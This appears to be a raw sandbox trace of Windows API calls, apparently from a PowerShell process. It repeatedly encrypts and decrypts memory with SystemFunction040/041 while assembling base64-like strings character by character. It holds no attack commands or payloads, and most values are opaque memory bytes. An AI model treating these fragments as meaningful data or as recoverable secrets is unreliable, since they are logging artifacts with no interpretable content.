0x0 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\xab0b\x54e7\xa627\x17b7\x9278\xf53d\xd214\xb9be") returned 0x20 [0137.432] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\xab0b\x54e7\xa627\x17b7\x9278\xf53d\xd214\xb9be") returned 0x20 [0137.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.432] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHa") returned 0x20 [0137.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e") returned 0x20 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e") returned 0x20 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e") returned 0x20 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e") returned 0x28 [0137.433] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHar衾鉚䨺㩜အ⹻៍") returned 0x28 [0137.433] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x3ff5\xbfa6\x8a8c\xf151\x3b18\xd114\x56c1\xaaf7") returned 0x28 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x3ff5\xbfa6\x8a8c\xf151\x3b18\xd114\x56c1\xaaf7") returned 0x28 [0137.433] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarp鉚䨺㩜အ⹻៍") returned 0x28 [0137.433] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x4600\x2cbd\x2a7f\x4455\x2f17\x4408\x31ce\xe627") returned 0x28 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x4600\x2cbd\x2a7f\x4455\x2f17\x4408\x31ce\xe627") returned 0x28 [0137.433] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpb䨺㩜အ⹻៍") returned 0x28 [0137.433] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x5765\x5261\x1ba5\xa23c\x7600\x5ecc\xe0eb\x4606") returned 0x28 [0137.433] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x5765\x5261\x1ba5\xa23c\x7600\x5ecc\xe0eb\x4606") returned 0x28 [0137.433] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.433] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJ㩜အ⹻៍") returned 0x28 [0137.433] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\xa444\x8172\xa676\x4d96\x203e\xf20b\xe79c\x8d64") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\xa444\x8172\xa676\x4d96\x203e\xf20b\xe79c\x8d64") returned 0x28 [0137.434] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNအ⹻៍") returned 0x28 [0137.434] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x2c63\x3e4d\x13a8\x47cd\xc644\x66b\xf9\x7ef9") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x2c63\x3e4d\x13a8\x47cd\xc644\x66b\xf9\x7ef9") returned 0x28 [0137.434] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJND⹻៍") returned 0x28 [0137.434] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x10bb\xfd26\xa96b\x36a4\x5ff\x58c1\xfb18\xb05a") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x10bb\xfd26\xa96b\x36a4\x5ff\x58c1\xfb18\xb05a") returned 0x28 [0137.434] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNDP៍") returned 0x28 [0137.434] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x972b\x25\xf3c3\xcbe3\x56f7\x4648\xc11b\xc432") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x972b\x25\xf3c3\xcbe3\x56f7\x4648\xc11b\xc432") returned 0x28 [0137.434] SystemFunction041 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNDP9") returned 0x28 [0137.434] SystemFunction040 (in: Memory=0x8ebfbc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfbc4) returned 0x0 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495") returned 0x28 [0137.434] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495") returned 0x30 [0137.435] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNDP9E၏㴕暋㒭䂑王葆") returned 0x30 [0137.435] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\x7a29\xbbc3\x8fc6\x1528\x38ab\xa435\x8f90\x8cf5") returned 0x30 [0137.435] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\x7a29\xbbc3\x8fc6\x1528\x38ab\xa435\x8f90\x8cf5") returned 0x30 [0137.435] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNDP9ED㴕暋㒭䂑王葆") returned 0x30 [0137.435] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\xc4a8\xf515\x5189\xb38b\xe37e\x37f1\x6724\x62d2") returned 0x30 [0137.435] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\xc4a8\xf515\x5189\xb38b\xe37e\x37f1\x6724\x62d2") returned 0x30 [0137.435] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNDP9EDY暋㒭䂑王葆") returned 0x30 [0137.435] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\x1249\xe468\xd4d7\xfb56\x3a45\xa662\x38c8\x902e") returned 0x30 [0137.435] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\x1249\xe468\xd4d7\xfb56\x3a45\xa662\x38c8\x902e") returned 0x30 [0137.435] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] SysStringLen (param_1="Fpmq2pGVzmMhObS6Q7LTK/d7gWebWbHarpbJNDP9EDY=㒭䂑王葆") returned 0x30 [0137.435] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0137.435] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.435] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.435] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.436] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.436] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.436] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.436] SysStringLen (param_1="") returned 0x8 [0137.436] SysStringLen (param_1="Y") returned 0x8 [0137.436] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.436] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.436] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.436] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.436] SysStringLen (param_1="YW") returned 0x8 [0137.436] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.436] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.436] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.436] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.436] SysStringLen (param_1="YWM") returned 0x8 [0137.437] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.437] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.437] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="YWM1") returned 0x8 [0137.437] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.437] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.437] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="YWM1O") returned 0x8 [0137.437] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.437] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.437] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.437] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.437] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.437] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.437] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.437] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.438] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.438] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.438] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.438] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.438] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.438] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.438] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.438] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.438] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.438] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.438] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.438] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.438] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.438] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.438] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.438] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.438] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.439] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.439] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.439] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.439] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 